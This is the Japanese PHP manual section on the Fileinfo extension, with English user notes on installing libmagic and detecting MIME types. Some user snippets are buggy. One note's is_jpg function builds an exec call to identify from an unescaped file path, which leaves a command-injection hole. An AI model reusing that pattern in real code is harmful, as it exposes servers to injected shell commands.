sam nospam at archives.org.au 23-Mar-2010 10:03
In addition to
 extension=fileinfo.so
I also had to add
 mime_magic.magicfile=/usr/share/file/magic
to my php configuration.  Then, I instantiate Finfo thus:

<?php
$mimeMagicFile = get_cfg_var('mime_magic.magicfile');
$finfo = new finfo(FILEINFO_MIME, $mimeMagicFile);
?>

(This is despite the rumours I hear about the default being exactly what I set it to anyway.)
wade at waddles dot org 12-Aug-2008 08:18
On Ubuntu Feisty, you need to add the line

extension=fileinfo.so

to your /etc/php5/*/php.ini files. The extension gets linked at compile time to /usr/lib/libmagic.so.1 which uses a MAGIC environment variable which defaults to

/etc/magic:/usr/share/file/magic


リソース型

Fileinfo 拡張モジュールでは、一種類のリソースが使用されています。 それは、finfo_open() が返す magic データベース記述子です。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

FILEINFO_NONE (int)
特別な処理を行いません。
FILEINFO_SYMLINK (int)
シンボリックリンクのリンク先をたどります。
FILEINFO_MIME_TYPE (int)
mime タイプを返します。 PHP 5.3.0 以降で使用可能です。
FILEINFO_MIME_ENCODING (int)
ファイルの mime エンコーディングを返します。 PHP 5.3.0 以降で使用可能です。
FILEINFO_MIME (int)
RFC 2045 で定義された mime タイプと mime エンコーディングを返します。
FILEINFO_COMPRESS (int)
圧縮されたファイルを伸張します。 スレッドセーフに関連する問題のため、PHP 5.3.0 以降は無効化されています。
FILEINFO_DEVICES (int)
ブロックデバイスあるいはキャラクタデバイスの内容を探します。
FILEINFO_CONTINUE (int)
最初に見つかったものだけでなく、一致するものをすべて返します。
FILEINFO_PRESERVE_ATIME (int)
可能な限り、元の最終アクセス時刻を保持します。
FILEINFO_RAW (int)
表示できない文字を \ooo 形式の 8 進表現に変換しません。
FILEINFO_EXTENSION (int)
ファイルから検出した MIME タイプに対応する適切な拡張子を返します。 the file. 一般的な拡張子が複数存在するもの (たとえば JPEG 画像など) の場合は、複数の拡張子をスラッシュで連結した値 ("jpeg/jpg/jpe/jfif" など) を返します。 magic.mime データベースに存在しない MIME タイプの場合は "???" を返します。 PHP 7.2.0 以降で使用可能です。

User Contributed Notes

jerome at chaman dot ca 15-Nov-2013 08:45
proceed with caution
as the documentation already says

FILEINFO_MIME will output something like "image/jpeg; charset=binary"

while

FILEINFO_MIME_TYPE outputs  "image/jpeg"
and
FILEINFO_MIME_ENCODING outputs  "binary"


Fileinfo 関数

目次

  • finfo_buffer — 文字列バッファの情報を返す
  • finfo_close — fileinfo リソースを閉じる
  • finfo_file — ファイルについての情報を返す
  • finfo_open — 新しい fileinfo リソースを作成する
  • finfo_set_flags — libmagic のオプションを設定する
  • mime_content_type — ファイルの MIME Content-type を検出する

User Contributed Notes

ccbsschucko at gmail dot com 14-Jun-2018 11:45
<?php
    class FileInfoTool {

        /**
        * @var str => $file = caminho para o arquivo (ABSOLUTO OU RELATIVO)
        * @var arr => $file_info = array contendo as informacoes obtidas do arquivo informado
        */
        private $file;
        private $file_info;

        /**
        * @param str => $file = caminho para o arquivo (ABSOLUTO OU RELATIVO)
        */
        public function get_file(string $file){
            clearstatcache();
            $file = str_replace(array('/', '\\'), array(DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR), $file);
            if(!is_file($file) && !is_executable($file) && !is_readable($file)){
                throw new \Exception('O arquivo informado nao foi encontrado!');
            }
            $this->file = $file;
            $this->set_file_info($this->file);
            return $this;
        }

        /**
        * @param str => $index = se for informado um indice e retornada uma informacao especifica do arquivo
        */
        public function get_info($index = ''){
            if($this->get_file_is_called()){
                if($index === ''){
                    return $this->file_info;
                }
                if($index != ''){
                    if(!array_key_exists($index, $this->file_info)){
                        throw new \Exception('A informacao requisitada nao foi encontrada!');
                    }
                    return $this->file_info;
                }
            }
        }

        /**
        * @todo verifica se o metodo get_file() foi utilizado para informar o caminho do arquivo
        */
        private function get_file_is_called(){
            if(!$this->file){
                throw new \Exception('Nenhum arquivo foi fornecido para analise. Utilize o metodo get_file() para isso!');
                return false;
            }
            return true;
        }

        /**
        * @todo preencher a array com as infos do arquivo
        */
        private function set_file_info(){
            $this->file_info = array();
            $pathinfo = pathinfo($this->file);
            $stat = stat($this->file);
            $this->file_info['realpath'] = realpath($this->file);
            $this->file_info['dirname'] = $pathinfo['dirname'];
            $this->file_info['basename'] = $pathinfo['basename'];
            $this->file_info['filename'] = $pathinfo['filename'];
            $this->file_info['extension'] = $pathinfo['extension'];
            $this->file_info['mime'] = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $this->file);
            $this->file_info['encoding'] = finfo_file(finfo_open(FILEINFO_MIME_ENCODING), $this->file);
            $this->file_info['size'] = $stat[7];
            $this->file_info['size_string'] = $this->format_bytes($stat[7]);
            $this->file_info['atime'] = $stat[8];
            $this->file_info['mtime'] = $stat[9];
            $this->file_info['permission'] = substr(sprintf('%o', fileperms($this->file)), -4);
            $this->file_info['fileowner'] = getenv('USERNAME');
        }

        /**
        * @param int => $size = valor em bytes a ser formatado
        */
        private function format_bytes(int $size){
            $base = log($size, 1024);
            $suffixes = array('', 'KB', 'MB', 'GB', 'TB');
            return round(pow(1024, $base-floor($base)), 2).''.$suffixes[floor($base)];
        }
    }

    var_dump((new FileInfoTool)->get_file('sitemap.xml')->get_info());
?>
bostjan at a2o dot si 09-Nov-2010 05:58
'Failed to load magic database at...'

This error message may be caused by incompatibilities between library and database. Check your database by trying to compile it with file command, like this:

cd /etc/magic
file -C -m magic
file -C -m magic.mime

b.
nessi at nessi dot ch 01-Jan-2010 04:26
For opensuse, you will just need to install the file-devel to solve the Problem with
checking for magic files in default path... not found
configure: error: Please reinstall the libmagic distribution

zypper install file-devel
aidan at php dot net 20-Dec-2008 01:09
As of PHP 5.3, Fileinfo is shipped with the main distribution and enabled by default. The extension is no longer maintained in PECL.
Evermorian 26-Aug-2008 05:03
In response to the suggestion from "jon at cybus" below to symlink /usr/share/file/magic to /etc/magic.mime, note that this causes other problems (in Debian Etch, anyway).  It breaks the -i functionality of the file command, causing it to return the human-readable string instead of the MIME type.  It also results in finfo doing the same.

So, it is probably better to actually specify the path to the magic file correctly when instantiating your finfo object:

<?php
$fi = new finfo(FILEINFO_MIME,'/usr/share/file/magic');
$mime_type = $fi->buffer(file_get_contents($file));
?>

Of course, you still end up with something that cannot tell the difference between a Word document and an Excel spreadsheet.
Terren Suydam 20-Jun-2008 11:00
If finfo_file() returns a mime type that also includes a character set definition (separated by a semi-colon), like:

text/plain; charset=us-ascii

Then you'll probably want to leave the charset definition in with the mime type, particularly if you're using the resulting string in an HTTP Content-Length header. The HTTP standard specifically allows for this, see:

http://www.w3.org/International/O-HTTP-charset

It seemed as if some of the previous commenters were trying to remove the charset.
Paul 08-Nov-2007 08:12
The results of this function seem to be of dubious quality.

eg
1)  a Word doc returns:
'application/msword application/msword'
...ok not too bad, but why does it come back twice?

2)  a PHP file comes back as:
'text/x-c++; charset=us-ascii'
My test file started with '<?php' so not ambiguous really. And where does it get the charset assumption from?

3)  a text doc that starts with the letters 'GIF' comes back as:
'image/gif'
(just like in DanielWalker's example for the unix 'file' command)

I had better results using the PEAR 'MIME_Type' package. It gave proper answers for 1 & 3 and identified the PHP file as 'text/plain' which is probably better than a false match for C++

Both finfo_file and MIME_Type correctly identified my other two test files which were a windows exe renamed with .doc extension, and a PDF also renamed with .doc extension.
jon at cybus dot co dot uk 04-Sep-2007 07:58
To get v1.0.4 working on my Ubuntu Feisty system, I had to do the following. It's probably the same on Debian.

* apt-get install libmagic1-dev
* pecl install Fileinfo
* Add "extension=fileinfo.so" to php.ini (/etc/php5/{cli,cgi}/php.ini)
* ln -s /usr/share/file/magic /etc/magic.mime
hari_1983 at yahoo dot com 22-Aug-2007 10:45
Actually for RPM users file-devel contains whatever libmagic contains. then apart from pear, u can directly use "pecl install Fileinfo".
aidan at php dot net 15-Mar-2007 12:54
PHP Warning:  finfo::finfo(): Failed to load magic database at '/etc/magic'
PHP Warning:  finfo::file(): The invalid fileinfo object

These errors can be rectified by copying your magic database (depending on your distro, this file can be anywhere, on debian it's in /usr/share/file/magic) to /etc/magic.mime

libmagic automatically appends the .mime to the end of the filename, so PHP incorrectly reports the path it was looking for.

The same applies for:
PHP Warning:  finfo::finfo(): Failed to load magic database at '/etc/magic.mime'

Unfortunately users will have to call the magic file /etc/magic.mime.mime in this case.
Alexey 18-Feb-2007 06:39
Well, it is hard to install and use this extension. There is better alternative - use lunux comand "file". For  insturctions - "man file" from linux shell.

<?
echo system("file -i -b file.pdf");
?>

application/pdf
szotsaki at gmail dot com 01-Feb-2007 11:12
I am about to write how installed this package.

First of all, I tried with "pear install fileinfo" - as the manual says.
But the pear command said that 'Package "Fileinfo" is not valid,
install failed'.

Then the "pear install pecl/fileinfo" was a better way. But at that time the "phpize" command was missing.
I installed that (on openSUSE distributions it is in the php5-devel, but I think you can find it in your distro's corresponding php-devel package).

After that you may install "re2c" (I did). It's homepage is: http://sourceforge.net/projects/re2c

Copy the magic file of Apache (usually in /etc/apache2) into the following directory: /usr/locale/share/file/ or /usr/share/file/

Then you have to install "libmagic-dev". If you have Debian based system you can simply install it with apt.
But if you have an rpm based system (like me), you have to download the following package: http://packages.debian.org/unstable/libdevel/libmagic-dev
It contains the files we need.
So, download the file, browse it with Midnight Commander (mc) (you have to apt and dpkg be installed) and simply extract (so copy) the /usr folder (it is inside the CONTENTS folder) of the .deb package to the root folder.

And now give the "pear install pecl/fileinfo" command another try :)

Ps: Don't forget to check whether the script has wrote the following line into the php.ini (on openSUSE: /etc/php5/apache2): extension=fileinfo.so

I hope, I could help.
motin at demomusic dot nu 09-Jan-2007 05:34
I had a real headache trying to install this package through pear/pecl. Ran into what looks like this bug: http://pecl.php.net/bugs/bug.php?id=7673 (phpize fails)

I found downloading the package manually and running ./configure helped show what the problem is:

...
checking for fileinfo support... yes, shared
checking for magic files in default path... not found
configure: error: Please reinstall the libmagic distribution
<quit>

I though this was because of a missing magic-database like magic.mime but examining the configure-script, magic.h is searched for.

Problem for me was that include/magic.h was not found. After some googling about where to find magic.h led me to the dead
simple solution:

apt-get install libmagic-dev

This does NOT solve the original installation bug strangely enough, but allows for manual installation:

1. Find the url to the latest version of fileinfo from http://pecl.php.net/package/Fileinfo (atm: http://pecl.php.net/get/Fileinfo-1.0.4.tgz)

2. Download, compile and install
wget http://pecl.php.net/get/Fileinfo-1.0.4.tgz
gunzip Fileinfo-1.0.4.tgz
tar -xvf Fileinfo-1.0.4.tar
cd fileinfo-1.0.4
./configure
make
make install

3. Add extension=fileinfo.so in your php.ini file

4. Restart Apache
jausions at php dot net 08-Jul-2006 12:26
For Windows users:

1. Go to http://pecl4win.php.net/ to get the php_fileinfo.dll if your PHP installation didn't come with it, and you haven't installed the Extensions package.

2. Then make sure you have extension=php_fileinfo.dll somewhere in your php.ini

3. Restart your web server.


文字列バッファの情報を返す

  • ≪ Fileinfo 関数
  • finfo_close ≫
  • PHP Manual
  • Fileinfo 関数
  • 文字列バッファの情報を返す

finfo_buffer

finfo::buffer

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_buffer -- finfo::buffer — 文字列バッファの情報を返す

説明

手続き型

finfo_buffer ( resource $finfo , string $string , int $flags = FILEINFO_NONE , resource|null $context = null ) : string|false

オブジェクト指向型

public finfo::buffer ( string $string , int $flags = FILEINFO_NONE , resource|null $context = null ) : string|false

この関数は、バイナリデータの情報を文字列形式で返すために使用します。

パラメータ

finfo

finfo_open() が返す fileinfo リソース。

string

調べるファイルの内容。

flags

ひとつあるいは複数のFileinfo 定数の組み合わせ。

context

返り値

string のテキスト表現、あるいはエラーが発生した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | context は、nullable になりました。

例

例1 finfo_buffer() の例

<?php
$finfo = new finfo(FILEINFO_MIME);
echo $finfo->buffer($_POST["script"]) . "\n";
?>

上の例の出力は、 たとえば以下のようになります。

application/x-sh; charset=us-ascii

参考

  • finfo_file() - finfo_file() のエイリアス

User Contributed Notes

nimasdj [AT] yahoo [DOT] com 14-Nov-2015 06:31
You should never rely on finfo::buffer to get the MimeType of a file, you must always save the file physically or temporariliy and use finfo_open to get MimeType. I tested it with an excell file, with buffer it says octet-stream that is not valid, with finfo_open it says ms-excell as correct.
donjajo4all at gmail dot com 11-Jun-2014 06:42
Get only a webpage content type and forget the charset

<?php
$file = new finfo(FILEINFO_MIME);
echo strstr($file->buffer(file_get_contents('http://example.com')),';',true)//Returns something similar to  text/html
?>
donjajo4all at gmail dot com 10-Jun-2014 01:45
Get only a webpage content type and forget the charset

<?php
$file = new finfo(FILEINFO_MIME);
echo strstr(file_get_contents('http://example.com'),';',true); //Returns something similar to  text/html
?>
contact at ingnu dot fr 20-Jun-2011 02:22
You can easily check mime type of an internet resource using this code :

<?php
function getUrlMimeType($url) {
    $buffer = file_get_contents($url);
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    return $finfo->buffer($buffer);
}
?>

I'm using it to detect if an url given by a user is a HTML page (so I do some stuff with the HTML) or a file on Internet (so I show an icon accordingly to the mime type).


fileinfo リソースを閉じる

  • ≪ finfo_buffer
  • finfo_file ≫
  • PHP Manual
  • Fileinfo 関数
  • fileinfo リソースを閉じる

finfo_close

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_close — fileinfo リソースを閉じる

説明

finfo_close ( resource $finfo ) : bool

この関数は、finfo_open() がオープンしたリソースを閉じます。

パラメータ

finfo

finfo_open() が返す fileinfo リソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルについての情報を返す

  • ≪ finfo_close
  • finfo_open ≫
  • PHP Manual
  • Fileinfo 関数
  • ファイルについての情報を返す

finfo_file

finfo::file

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_file -- finfo::file — ファイルについての情報を返す

説明

手続き型

finfo_file ( resource $finfo , string $filename , int $flags = FILEINFO_NONE , resource|null $context = null ) : string|false

オブジェクト指向型

public finfo::file ( string $filename , int $flags = FILEINFO_NONE , resource|null $context = null ) : string|false

この関数は、ファイルについての情報を返すために使用します。

パラメータ

finfo

finfo_open() が返す fileinfo リソース。

filename

調べるファイルの名前。

flags

ひとつあるいは複数のFileinfo 定数の組み合わせ。

context

contexts の説明については、ストリーム 関数 を参照ください。

返り値

filename のテキスト表現、あるいはエラーが発生した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | context は、nullable になりました。

例

例1 finfo_file() の例

<?php
$finfo = finfo_open(FILEINFO_MIME_TYPE); // mimetype 拡張モジュール風に mime タイプを返します
foreach (glob("*") as $filename) {
    echo finfo_file($finfo, $filename) . "\n";
}
finfo_close($finfo);
?>

上の例の出力は、 たとえば以下のようになります。

text/html
image/gif
application/vnd.ms-excel

参考

  • finfo_buffer() - finfo_buffer() のエイリアス

User Contributed Notes

powtac at gmx dot de 17-Oct-2016 02:02
Be careful, files with BOM will not detected correctly!
66Ton99 at gmail dot com 14-Jun-2016 06:33
The way HOWTO get MIME-type of remote file.

<?php
class MimeStreamWrapper
{
    const WRAPPER_NAME = 'mime';
    public $context;
    private static $isRegistered = false;
    private $callBackFunction;
    private $eof = false;
    private $fp;
    private $path;
    private $fileStat;
    private function getStat()
    {
        if ($fStat = fstat($this->fp)) {
            return $fStat;
        }

        $size = 100;
        if ($headers = get_headers($this->path, true)) {
            $head = array_change_key_case($headers, CASE_LOWER);
            $size = (int)$head['content-length'];
        }
        $blocks = ceil($size / 512);
        return array(
            'dev' => 16777220,
            'ino' => 15764,
            'mode' => 33188,
            'nlink' => 1,
            'uid' => 10000,
            'gid' => 80,
            'rdev' => 0,
            'size' => $size,
            'atime' => 0,
            'mtime' => 0,
            'ctime' => 0,
            'blksize' => 4096,
            'blocks' => $blocks,
        );
    }
    public function setPath($path)
    {
        $this->path = $path;
        $this->fp = fopen($this->path, 'rb') or die('Cannot open file:  ' . $this->path);
        $this->fileStat = $this->getStat();
    }
    public function read($count) {
        return fread($this->fp, $count);
    }
    public function getStreamPath()
    {
        return str_replace(array('ftp://', 'http://', 'https://'), self::WRAPPER_NAME . '://', $this->path);
    }
    public function getContext()
    {
        if (!self::$isRegistered) {
            stream_wrapper_register(self::WRAPPER_NAME, get_class());
            self::$isRegistered = true;
        }
        return stream_context_create(
            array(
                self::WRAPPER_NAME => array(
                    'cb' => array($this, 'read'),
                    'fileStat' => $this->fileStat,
                )
            )
        );
    }
    public function stream_open($path, $mode, $options, &$opened_path)
    {
        if (!preg_match('/^r[bt]?$/', $mode) || !$this->context) {
            return false;
        }
        $opt = stream_context_get_options($this->context);
        if (!is_array($opt[self::WRAPPER_NAME]) ||
            !isset($opt[self::WRAPPER_NAME]['cb']) ||
            !is_callable($opt[self::WRAPPER_NAME]['cb'])
        ) {
            return false;
        }
        $this->callBackFunction = $opt[self::WRAPPER_NAME]['cb'];
        $this->fileStat = $opt[self::WRAPPER_NAME]['fileStat'];

        return true;
    }
    public function stream_read($count)
    {
        if ($this->eof || !$count) {
            return '';
        }
        if (($s = call_user_func($this->callBackFunction, $count)) == '') {
            $this->eof = true;
        }
        return $s;
    }
    public function stream_eof()
    {
        return $this->eof;
    }
    public function stream_stat()
    {
        return $this->fileStat;
    }
    public function stream_cast($castAs)
    {
        $read = null;
        $write  = null;
        $except = null;
        return @stream_select($read, $write, $except, $castAs);
    }
}
$path = 'http://fc04.deviantart.net/fs71/f/2010/227/4/6/PNG_Test_by_Destron23.png';
echo "File: ", $path, "\n";
$wrapper = new MimeStreamWrapper();
$wrapper->setPath($path);

$fInfo = new finfo(FILEINFO_MIME);
echo "MIME-type: ", $fInfo->file($wrapper->getStreamPath(), FILEINFO_MIME_TYPE, $wrapper->getContext()), "\n";
?>
tim at savaslabs dot com 29-Jul-2015 05:44
Just noting (because I ran into it!) that the current implementation of finfo_file has a known bug which causes PHP to allocate huge amounts of memory when certain strings are present in text files that it is examining.

See https://bugs.php.net/bug.php?id=69224 for more info.
niko dot jokipalo at gmail dot com 12-Jan-2014 08:03
I spent days looking and searching for a database with actual plain language descriptions for the media types, for example
finfo(.png) --> "image/png" --> "PNG image".
In Ubuntu based OS's you can find already translated database at /usr/share/mime

http://manpages.ubuntu.com/manpages/hardy/en/man5/gnome-mime.5.html
da_kooz at hotmail dot com 08-Aug-2013 08:13
Here is an wrapper that will properly identify Microsoft Office 2007 documents. It's trivial and straightforward to use, edit, and to add more file extentions/mimetypes.

<?php
function get_mimetype($filepath) {
    if(!preg_match('/\.[^\/\\\\]+$/',$filepath)) {
        return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filepath);
    }
    switch(strtolower(preg_replace('/^.*\./','',$filepath))) {
        // START MS Office 2007 Docs
        case 'docx':
            return 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
        case 'docm':
            return 'application/vnd.ms-word.document.macroEnabled.12';
        case 'dotx':
            return 'application/vnd.openxmlformats-officedocument.wordprocessingml.template';
        case 'dotm':
            return 'application/vnd.ms-word.template.macroEnabled.12';
        case 'xlsx':
            return 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
        case 'xlsm':
            return 'application/vnd.ms-excel.sheet.macroEnabled.12';
        case 'xltx':
            return 'application/vnd.openxmlformats-officedocument.spreadsheetml.template';
        case 'xltm':
            return 'application/vnd.ms-excel.template.macroEnabled.12';
        case 'xlsb':
            return 'application/vnd.ms-excel.sheet.binary.macroEnabled.12';
        case 'xlam':
            return 'application/vnd.ms-excel.addin.macroEnabled.12';
        case 'pptx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.presentation';
        case 'pptm':
            return 'application/vnd.ms-powerpoint.presentation.macroEnabled.12';
        case 'ppsx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.slideshow';
        case 'ppsm':
            return 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12';
        case 'potx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.template';
        case 'potm':
            return 'application/vnd.ms-powerpoint.template.macroEnabled.12';
        case 'ppam':
            return 'application/vnd.ms-powerpoint.addin.macroEnabled.12';
        case 'sldx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.slide';
        case 'sldm':
            return 'application/vnd.ms-powerpoint.slide.macroEnabled.12';
        case 'one':
            return 'application/msonenote';
        case 'onetoc2':
            return 'application/msonenote';
        case 'onetmp':
            return 'application/msonenote';
        case 'onepkg':
            return 'application/msonenote';
        case 'thmx':
            return 'application/vnd.ms-officetheme';
            //END MS Office 2007 Docs

    }
    return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filepath);
}

?>
contato at vfreitas dot com 01-Mar-2012 06:31
Well, i have a great probleam with that, MS Office 2007 extensions (pptx, xlsx, docx) do not have a default Mime type, they have "application/zip" mime type, so, to fix that, i do one little function to verify the extension.
That function allow's you to be safe of fake extensions hack.

<?php

$arrayZips = array("application/zip", "application/x-zip", "application/x-zip-compressed");

$arrayExtensions = array(".pptx", ".docx", ".dotx", ".xlsx");

$file = 'path/to/file.xlsx';

$original_extension = (false === $pos = strrpos($file, '.')) ? '' : substr($file, $pos);

$finfo = new finfo(FILEINFO_MIME);

$type = $finfo->file($file);

if (in_array($type, $arrayZips) && in_array($original_extension, $arrayExtensions))
{
   return $original_extension;
}

?>
Zane MegaLab.it 13-Jun-2011 08:38
I was getting application/octet-stream or "<= not supported" for all the files.

I found out that in PHP 5.3 the magic file is built-in into PHP and that is what should be used. The magic file found on the system may not always be what libmagic expects, hence the error.
info at tech dash bits dot net 13-Feb-2011 01:34
While figuring out my problem using this new function, i had a brainwave in using the full path of the file instead of the relative path. For example:

<?php
$folder = "somefolder/";
$fileName "aFile.pdf";

$finfo = finfo_open(FILEINFO_MIME_TYPE);
finfo_file($finfo, $folder.$fileName);
?>

This will result in an error where it can't find the file specified.

This however fixxes that problem:

<?php
$folder = "somefolder/";
$fileName "aFile.pdf";

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, dirname(__FILE__)."/".$folder.$fileName);
?>
scott at thebrain dot ca 06-Jan-2009 09:29
I thought to use fileinfo to check if a file was gzip or bzip2. However, the mime type of a compressed file is "data" because compression is an encoding rather than a type.

gzip files begin with binary 1f8b.
bzip2 files begin with magic bytes 'B'  'Z'  'h'.
e.g.

<?php
$s = file_get_contents("somefilepath");
if ( bin2hex(substr($s,0,2)) == '1f8b' ) {/* could be a gzip file */}
if( substr($s,0,3) == 'BZh' ){/* could be a bzip2 file */}
?>

I am not an encoding expert. My only testing was using a few of my own encoded files.
darko at uvcms dot com 01-Aug-2008 08:28
OO (bit improved) version of the same thing

<?php
$file = '<somefile>';
$ftype = 'application/octet-stream';
$finfo = @new finfo(FILEINFO_MIME);
$fres = @$finfo->file($file);
if (is_string($fres) && !empty($fres)) {
   $ftype = $fres;
}
?>
darko at uvcms dot com 24-Apr-2008 09:53
Another interresting feature of finfo_file on Windows.

This function can return empty string instead of FALSE for some file types (ppt for example). Therefore to be sure do a triple check of output result and provide default type just in case. Here is a sample code:

$ftype = 'application/octet-stream';
$finfo = @finfo_open(FILEINFO_MIME);
if ($finfo !== FALSE) {
   $fres = @finfo_file($finfo, $file);
   if ( ($fres !== FALSE)
        && is_string($fres)
        && (strlen($fres)>0)) {
            $ftype = $fres;
        }
   @finfo_close($finfo);
}
WebShowPro 25-Sep-2007 02:01
Just an improvement on the sample Ryan Day posted - slightly off topic since this method does not use finfo_file but in some cases this method might be preferable.

The main change is the -format %m parameters given to the identify call.  I would suggest using the full system path to identify i.e. /usr/bin/identify to be a little safer (the location may change from server to server though).

<?php

function is_jpg($fullpathtoimage){
    if(file_exists($fullpathtoimage)){
        exec("/usr/bin/identify -format %m $fullpathtoimage",$out);
        //using system() echos STDOUT automatically
        if(!empty($out)){
            //identify returns an empty result to php
            //if the file is not an image

            if($out == 'JPEG'){
                return true;
            }
        }
    }
    return false;
}

?>
Schraalhans Keukenmeester 21-May-2007 03:20
Tempting as it may seem to use finfo_file() to validate uploaded image files (Check whether a supposed imagefile really contains an image), the results cannot be trusted. It's not that hard to wrap harmful executable code in a file identified as a GIF for instance.

A better & safer option is to check the result of:

if (!$img = @imagecreatefromgif($uploadedfilename)) {
  trigger_error('Not a GIF image!',E_USER_WARNING);
  // do necessary stuff
}


新しい fileinfo リソースを作成する

  • ≪ finfo_file
  • finfo_set_flags ≫
  • PHP Manual
  • Fileinfo 関数
  • 新しい fileinfo リソースを作成する

finfo_open

finfo::__construct

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_open -- finfo::__construct — 新しい fileinfo リソースを作成する

説明

手続き型

finfo_open ( int $flags = FILEINFO_NONE , string $magic_database = "" ) : resource|false

オブジェクト指向型 (コンストラクタ)

public finfo::__construct ( int $flags = FILEINFO_NONE , string $magic_database = "" )

この関数は、magic データベースをオープンしてそのリソースを返します。

パラメータ

flags

ひとつあるいは複数のFileinfo 定数の組み合わせ。

magic_database

magic データベースファイルの名前。通常は /path/to/magic.mime のようになります。 指定されなかった場合は、環境変数 MAGIC の値が使用されます。この環境変数も設定されていない場合は、 PHP の組み込みの magic データベースを使います。

null あるいは空文字列は、デフォルト値と同じ意味となります。

返り値

(手続き型の場合のみ) 成功した場合に magic データベースリソース、失敗した場合に false を返します。

注意

警告

PHP 5.3.11 および 5.4.1 で、magic データベースのフォーマットが変わりました。 そのため、内部的な mime データベースも更新されました。 この影響が特に及ぶのは、外部の magic を読み込んでいる場合です。 旧フォーマットの magic ファイルを読み込んでも動作しません。 また、mime タイプのテキスト表現が変わったものもあります。たとえば PHP の場合の返り値は "PHP script text" ではなく "PHP script, ASCII text" となります。

注意:

一般的には、独自の magic データベースを使う必要がある場合を除いて、 組み込みの magic データベースを使うのが一番いい方法です (magic_database を省略し、環境変数 MAGIC も設定しないようにします)。

例

例1 オブジェクト指向型

<?php
$finfo = new finfo(FILEINFO_MIME, "/usr/share/misc/magic"); // mime タイプを mimetype 拡張形式で返します

/* 指定したファイルの mime タイプを取得します */
$filename = "/usr/local/something.txt";
echo $finfo->file($filename);

?>

例2 手続き型

<?php
$finfo = finfo_open(FILEINFO_MIME, "/usr/share/misc/magic"); // mime タイプを mimetype 拡張形式で返します

if (!$finfo) {
    echo "fileinfo データベースのオープンに失敗しました";
    exit();
}

/* 指定したファイルの mime タイプを取得します */
$filename = "/usr/local/something.txt";
echo finfo_file($finfo, $filename);

/* 接続を閉じます */
finfo_close($finfo);
?>

上の例の出力は以下となります。

text/plain; charset=us-ascii

参考

  • finfo_close() - fileinfo リソースを閉じる

User Contributed Notes

Anonymous 04-Jul-2013 07:41
For most common image files:
<?php
function minimime($fname) {
    $fh=fopen($fname,'rb');
    if ($fh) {
        $bytes6=fread($fh,6);
        fclose($fh);
        if ($bytes6===false) return false;
        if (substr($bytes6,0,3)=="\xff\xd8\xff") return 'image/jpeg';
        if ($bytes6=="\x89PNG\x0d\x0a") return 'image/png';
        if ($bytes6=="GIF87a" || $bytes6=="GIF89a") return 'image/gif';
        return 'application/octet-stream';
    }
    return false;
}
?>
illusivefingers at gmail dot com 06-Feb-2012 12:53
I am running Windows 7 with Apache.  It took hours to figure out why it was not working.

First, enable the php_fileinfo.dll extension in you php.ini. You'll also need the four magic files that are found in the following library:

http://sourceforge.net/projects/gnuwin32/files/file/4.23/file-4.23-bin.zip/download

An environment variable or a direct path to the file named "magic" is necessary, without any extension.

Then, make sure that xdebug is either turned off or set the ini error_reporting to not display notices or warnings for the script.

Hope this saves someone a few hours of frustration!
olivier dot berger at it-sudparis dot eu 09-Mar-2011 12:02
On my Debian squeeze system, the path needed is like :
<?php
 $finfo = new finfo(FILEINFO_MIME, "/usr/share/misc/magic.mgc");
?>
franssen dot roland at gmail dot com 11-May-2010 12:23
Notice FileInfo::__construct() has strange behavior in PHP < 5.3.1 when a 2nd parameter is set explicitly, e.g.;

<?php
$fileInfo = new finfo(FILEINFO_MIME, null);
?>

Expected result:
----------------
object(finfo)#2 (0) { }

Actual result:
--------------
Warning: finfo::finfo(): Failed to load magic database at ''. in *** on line ***
object(finfo)#2 (0) { }

See http://bugs.php.net/bug.php?id=51732
mark at dynom dot nl 09-Nov-2008 12:34
It seems there is quite some inconsistency in distributions and loading of magic files.

On Archlinux, the file is located here:
/usr/share/misc/file/magic.mgc

But this:

<?php
$fi = new finfo(FILEINFO_MIME, '/usr/share/misc/file/magic');
$fi->file('/tmp/fubar.txt');
?>

Actually segfaults, where if I type the full name (including the file extension:)

<?php
$fi = new finfo(FILEINFO_MIME, '/usr/share/misc/file/magic.mgc'); // added ".mgc"
$fi->file('/tmp/fubar.txt');
?>

It works as expected, so I guess something goes wrong with "A .mime and/or .mgc suffix is added if needed."
php at brudaswen dot de 15-Sep-2008 03:13
Since it costed me some time to find the needed magic database files for Windows, just a hint:

The last release of the GnuWin32 project with both needed files (magic and magic.mime) currently was "file-4.23".
All releases after 4.23 to 4.25-1 did not contain both needed files.

Hope that helps.
dario dot borreguero at gmail dot com 16-Apr-2008 03:15
Platform: WinXP-SP2, PHP5.2.5, MySQL 5.0, Apache 2.2.8

After reading former notes, I wasn't able to load my magic database: 'magic.mime' file (donwloaded from GnuWin32 project, zipped with the binary files v4.21). I always got an invalid $finfo object or finfo_open(...) returned FALSE.

In order to be able to load the 'magic.mime' file, Fileinfo library (bundled in PHP5.2.5) also requires 'magic' file.

For example:
1. Database:
  c:\php\magic.mime
  c:\php\magic

2. PHP Code:
<?php
  $filname = 'c:\php\php.ini';
  $finfo = new finfo(FILEINFO_MIME, 'c:\php\magic');
  if (!$finfo) return false;
  echo $finfo->file($filename);
?>

